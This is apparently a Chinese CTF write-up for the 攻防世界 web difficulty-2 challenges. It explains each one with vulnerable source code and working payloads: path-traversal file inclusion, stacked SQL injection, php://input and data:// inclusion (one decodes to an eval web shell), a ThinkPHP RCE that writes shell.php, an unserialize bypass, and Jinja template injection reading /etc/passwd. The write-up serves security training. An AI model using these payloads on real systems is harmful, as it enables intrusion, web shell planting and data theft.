攻防世界 web 难度2
warmup
知识点
使用相对路径控制url读取方法
//eee.php
<?php
$f = $_GET["file"];
include($f);
?>
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { // 或者不设置page,或者page不等于字符串时 就return 结束
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //page不能在数组里
echo "yes1";
return true; //如果执行了return,则return 语句后面的内容将不会被执行了;
}
$_page = mb_substr( //截取 $page 0,?出现的之前的字符串,相当于还是全部字符
$page,
0,
mb_strpos($page . '?', '?') //找page? 中第一次出现的位置
);
if (in_array($_page, $whitelist)) { //$_page 不能在白名单,否则return结束
echo "yes2";
return true;
}
$_page = urldecode($page); // 解码一次$page
$_page = mb_substr( //这次要截取出白名单含有的内容,下面的if返回一个true,否则下面的if不匹配,后面就返回false。最后的if条件就不成立了
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { /
echo "yes3";
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //$file非空,并且是字符串,然后用checkfile过滤完
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; //包含file文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
payload
source.php%3f../../../../../ffffllllaaaagggg
supersqli
过滤了select|update|delete|drop|insert|where|
堆叠注入获取数据库,表,列名
Prepare语句
前置知识点
prepare
为了使用MySQL准备语句,您需要使用其他三个MySQL语句如下:
PREPARE - 准备执行的声明。
EXECUTE - 执行由PREPARE语句定义的语句。
DEALLOCATE PREPARE - 发布PREPARE语句。
用户变量和set语句:
用户变量即用户自己定义的变量,我们可以给用户变量分配值,并且可用在任何可以正常使用标量表达式的地方。
引入用户变量之前我们必须使用set语句或select语句来定义它,然后为它赋一个值,否则变量就只有一个空值。
用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。
set语句可用于向系统变量或用户变量赋值,针对用户变量的定义如下:
SET @var_name = expr [, @var_name = expr] ...
也可使用select语句来定义:
SELECT @var_name := expr [, @var_name = expr] ...
用户变量:以"@“开始,形式为”@var_name",以区分用户变量及列名。它可以是任何随机的,复合的标量表达式,只要其中没有列指定。
一个变量名可以由当前字符集的数字字母字符和“_”、“$”和“.”组成。缺省字符集是ISO-8859-1 Latin1;这可以用mysqld 的–default-character-set 选项更改字符集。
对于SET,可以使用=或:=来赋值,对于SELECT只能使用:=来赋值
绕过select获取内容
1.使用handler读取数据
基本使用用法
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 关闭已打开的句柄
HANDLER tbl_name CLOSE
2.set and prepare
payload
1';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#
3.使用rename和alter
我们使用rename和alter这两个命令来更改表名和字段名。因为我们可以访问words里的columns,发现id,也就是说我们输入的1默认是查询words这个表的。因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag了。
具体构造如下:
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
Web_php_include
php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
xxx.xxx/?cmd=php://input
然后用hackbar或者其他工具,postPHP代码进行检验,如phpinfo()?>
此协议受allow_url_include配置影响
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) { //该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。
$page=str_replace("php://", "", $page);
}
include($page);
?>
data://
data://协议。需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
http://127.0.0.1/include.php?file=data://text/plain,
text/plain,表示的是文本
text/plain;base64, 若纯文本没用可用base64编码
?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看源码即可获得flag
data://一句话
?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
hello输出
?page=http://127.0.0.1/?hello=<?system("ls")?>
远程包含,访问本地上localhost,然后传递变量值执行。不是很理解为什么hello值能执行,不理解为什么system能省略php,稍后补充
参考链接:
https://blog.csdn.net/yingyugo/article/details/109783035
https://blog.csdn.net/xj28555/article/details/107184690/
php_rce
直接利用
尝试写一句话
s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_REQUEST["cmd"]);?>%27>shell.php
Web_php_unserialize
preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //$var = $var base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写,匹配到了就退出
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
payload
<?php
class Demo {
private $file = 'fl4g.php';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>
Web_python_template_injection
前置应用流程介绍
文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。
思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
__class__ #返回类型所属的对象
__mro__ #返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ #返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ #每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ #类的初始化方法
__globals__ #对包含函数全局变量的字典的引用
关于__globals__介绍
# foo.py
# 代码9
a = 3
def f():
global a
a += 1
if __name__ == '__main__':
# f() # 没运行
print(f.__globals__.keys())
print(f.__globals__['a'])
输出结果
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__annotations__', '__builtins__', '__file__', '__cached__', 'dis', 'a', 'f'])
3
关于__mro__
python 类有多继承特性,如果继承关系太复杂,很难看出会先调用那个属性或方法。
为了方便且快速地看清继承关系和顺序,可以用__mro__方法来获取这个类的调用顺序。
""类所继承的类是object,而objec是所有类的基类
判断有无模块注入
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
type file
type file文件读取
type file 在40(下标从0开始)
文件读取
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
payload
用了<class 'site._Printer'>类的初始化方法,用初始化函数全局变量字典os的值.listdir()
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
Web2
源码分析
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str); //strrev() 函数反转字符串。
// echo $_o;
//把每个字母向右偏移1位(z偏移变成{,Z偏移变成a)
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1); //把$_o的第一个字符拿出来..第 2 个..
$__=ord($_c)+1; // ASCII值 +1
$_c=chr($__); //转成字符
$_=$_.$_c; //拼接到$_
}
return str_rot13(strrev(base64_encode($_))); //将$_ base64加密,再翻转,在每一个字母在字母表中向前移动 13 个字母。 数字和非字母字符保持不变。
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
poc
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$a = strrev(base64_decode(strrev(str_rot13($str))));
for($_0=0;$_0<strlen($a);$_0++){
$_c=substr($a,$_0,1); //把$_o的第一个字符拿出来..第 2 个..
$__=ord($_c)-1; // ASCII值 +1
$_c=chr($__); //转成字符
$_=$_.$_c; //拼接到$_
echo $_;
echo '</br>';
}
return $_;
}
var_dump(decode($miwen));
?>
command_execution
原理
管道符主要用于多重命令处理,前面命令的打印结果作为后面命令的输入。简单点说就是,就像工厂的流水线一样,进行完一道工序后,继续传送给下一道工序处理…
xff_referer
要求ip地址必须为123.123.123.123
抓包修改referer
upload1
前端js验证
获取到文件名,过滤之后如果是jpg或者png就可以上传,不是就 禁用按钮报错
<!Doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="text/javascript">
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
}
}
return false;
}
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
</script>
</head>
<body>
<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'>
<input id="upfile" name='upfile' type='file' onchange="check();" />
<input type='submit' id ='submit' value='上传'>
</form>
</body>
</html>